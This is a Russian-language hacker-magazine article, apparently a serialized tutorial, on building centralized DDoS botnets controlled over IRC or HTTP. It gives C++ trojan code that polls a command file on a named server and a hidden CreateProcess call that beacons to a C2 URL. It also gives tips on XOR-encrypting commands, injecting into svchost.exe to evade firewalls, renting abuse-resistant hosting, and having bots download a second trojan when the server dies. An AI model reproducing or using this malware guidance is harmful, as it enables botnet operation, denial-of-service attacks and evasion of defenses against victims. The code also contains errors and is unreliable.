Централизованные сети
По такому принципу работают практически все DDoS-боты. После запуска трояна на
компьютере он сам коннектится к ботнет-серверу. Все прелести налицо. Но также
много неприятных моментов. При исследовании бота очень просто просечь головной
сервер. Полетят абузы, грохнут сервер (или, быть может, сам рухнет?) - ботнет не
вернуть. Существует, как минимум, два метода управления такой DDoS-армией:
первая - это, безусловно, IRC - одна из самых старых технологий управления
ботами, постепенно теряющая свою актуальность. И вторая - это управление через
HTTP: молодая и ежедневно процветающая технология: простота, удобство - все тут.
Разберем каждый пункт конкретнее. К сожалению, Microsoft не позаботилась о
IRC, поэтому не ищи функций WinAPI под нее. Ее
придется писать самому. Кроме того, придется поднимать свой IRC-сервер, ты же не
будешь держать стадо ботов на канале #l33t-botnet в
сети DalNet? 🙂 Настроить свой IRC не так сложно, если не вдаваться в
дополнительные параметры его настройки. Советую почитать статью
"IRC-плацдарм для ботов" из нашего "Хакер
#78". Прежде, чем ты примешься за написание IRC-бота, тебе надо разобраться
с IRC-протоколом. Советую почитать RFC 1459, поверь, написать это все очень
просто. Если какие проблемы - то посмотри исходники разных ботов и заюзай google,
а потом пиши мне 😉
А теперь перейдем к управлению через HTTP. Тебе не придется разбираться с
протоколом, так как у нас уже есть наборы функций для работы с ним. Мне известны
по крайней мере два: Internet API и UrlMon API. Кроме того, помимо работы с HTTP,
они поддерживают работу с FTP-протоколом. Какие есть методы получения команд
ботами? Соглашусь, не так уж и много, но нам этого хватит сполна. Первый способ
заключается в том, что боты будут читать команды из .txt-файла. Причем команды
можно шифровать каким-нибудь алгоритмом, а ключ шифрования скормить трояну (с
соответствующей функцией дешифровки). То есть все трояны будут бесконечно
скачивать файл из сети и пропарсив его содержимое выполнять соответствующие
команды. Кажется геморно, но на самом деле все круто :). Команды можно добавлять
через PHP-скрипт и держать их там определенное время. Все это с таким же успехом
реализуется на C++, работая с сокетами.
Сначало шлем GET-запрос на файл с командами, затем создаем сокет и коннетимся.
#define HELL "hellknights.void.ru"
char *sendb = "GET /botnet/cmds.txt HTTP/1.0\r\nHost: "HELL"" \r\n\r\n", //
формируем GET-запрос
recvb[2048];
SOCKET socket = socket(AF_INET,SOCK_STREAM,0); //
создаем сокет
memset(recvb,0,2048);
// заполняем структуру
SOCKADDR_IN host;
host.sin_addr.S_un.S_addr = resolve(HOST); //
резолвим
host.sin_family = AF_INET; // уже писал 😉
host.sin_port = htons(80); // 80 порт
if(connect(socket, (struct sockaddr *)&host,sizeof(SOCKADDR_IN))) //
коннетимся
return -1;
send(socket, sendb, strlen(sendb),0); // шлем пакет
Получаем пакет:
Sleep(5000); // здесь желательно поставить sleep,
чтобы дождаться ответ от сервера
int i;
while(i = recv(socket,recvb+strlen(recvb),1,0))
{if (i == SOCKET_ERROR) return -1;}
А вот и функция резолва:
DWORD resolve(char *host)
{
DWORD ret = 0;
struct hostent * hp = gethostbyname(host);
if (!hp) ret = inet_addr(host);
if ((!hp)&&(ret == INADDR_NONE)) return 0;
if (hp != NULL) memcpy((void*)&ret, hp->h_addr,hp->h_length);
return ret;
}
После нам придется пропарсить .txt на наличие команд. Я думаю, ты справишься с
этим, ничего сложного нет.
Есть еще один вариант: не юзать GET, а воспользоваться функцией WinAPI -
InternetOpenUrl() для получения команд ботами. Но есть одно но! А ты не подумал,
что боты сами могут тебя задосить!? 😉 Вот-вот! Придется брать себе
абузоустойчивый дедик, с широким каналом, который стоит не так мало (50$-200$ в
месяц и более).
Есть другой метод: пишется скрипт, который бы отображал ботов в своей
таблице. То есть боты сначала бы коннетились к скрипту и добавляли себя в
список: IP-адрес, UID, версия ОС, имя компьютера, страна, скорость соединения и
количество времени в онлайне. Затем, после того, как бот коннетится к скрипту и
прочее, мы бы выполняли команду и запускали цикл по раздаче команды всем ботам
по той самой таблице. Более медленный, но за то более экономный и беспалевный
метод. Все написание также основывается на всем том, что мы с тобой
рассматривали выше. Передать данные скрипту можно также при помощи Internet
Explorer, а также функциями WinExec() и CreateProcess() (кстати, что касается
WinExec - это устаревший вариант, использующийся еще аж в Win16-системах, в
Win32 же корректнее будет использовать CreateProcess(), но WinExec по прежнему
работает отлично). Заполним все структуры, которые нам нужны, как это мы делали
с тобой чуток ранее. И вызываем CreateProcess():
CreateProcess("EXPLORER.EXE","http://hellknights.void.ru/botnet/?
msg=w00t!0wn3d",0,0,false,CREATE_NEW_CONSOLE,0,0,&si,&pi);
&si - это указатель на StartUpInfo, а &pi - указатель на ProcessInformation.
Этот метод также примечателен тем, что у нас возникает минимум проблем с
файрволом, что не может не радовать :). Этого, конечно, не достаточно для
полного его обхода, можно намутить хитрый Process Injection в доверенный
процесс. Вообще есть куча методов для обхода файров, особенно в ring0. В
качестве доверенного приложения можно выбрать браузеры или svchost.exe, который
записан во всех файрволах как доверенное приложение и которому разрешено лезть
на 80 порт. Также не забудь в структуре STARTUPINFO указать невидимость окна:
si.wShowWindow = SW_HIDE;
Здесь у нас существует такая проблема, как путь до папки C://Program Files/Internet
Explorer/. Решить эту проблему нам поможет константа %Programfiles%. Но это тоже
не самый лучший вариант, так что покопайся с функциями
SHGetSpecialFolderLocation() и SHGetPathFromIDList(), через которые мы и узнаем
все системные директории Windows, думаю ты без проблем разберешься ;). Что же
касается XOR-шифрования, то и в PHP и C++ есть специальная функция. Работает это
примерно так:
ксоренный_текст=наш_текс^ключ_шифрования;
Короче говоря, символ "^" и является тем страшным ксором. Дешифровка
производится точно также.
Плюсы [+], Минусы [-], Спорно/Нейтрал [~]:
- [+] Удобное управление через скрипт. Боты сами коннектятся куда надо.
Можно реализовать достаточно многофункционального DDoS-бота. Все функции для
работы с HTTP давным-давно реализованы в WinAPI библиотеках. - [~] Боты довольно быстро попадают в антивирусные базы. Хотя при
правильном распространении и техниках стелсирования продержаться они могут
очень долго 😉 - [~] Управление через IRC.
Управление через IRC - не самый сладкий "мед". Хотя многие так привыкли, что
на web их перетащить уже просто невозможно :). Кроме того, для написания
системы управления через IRC надо разобраться с IRC-протоколом. - [~] Не так уж просто написать матерого бота.
Проблемы с файрволом, антивирусом, автозагрузкой + куча времени на написание
разных примочек... Еcли ботами спалят, то мигом закроют, а боты умрут... Но
несмотря на это, бот может быть намного функциональнее чем ботнет на шеллах. - [-] Достаточно просто отследить куда коннектится бот.
Однажды мне попал в руки какой-то бот и адрес ботнет сервера я просек в
логах файрвола. Итог: увел скудный ботнет. - [-] Тяжелый перенос ботнет сервера.
Придется заставлять ботов скачивать и запускать еще одного троя, а себя
грохнуть. Кроме того, если сервер c ботами спалят, то мигом закроют, а боты
умрут... Но я тут поразмышлял и пришел к такому алгоритму:- чекаем cmd.txt на наличие команд
- если таковой файл есть, то парсим его и выполняем команды
- если сервак не пашет, то пытаемся приконнектиться еще раз и еще раз через
30 минут и т.д
- если совсем все фигово, то начинаем скачивать второй файл с какого-нибудь
b0tn3t.narod.ru
(Продолжение следует)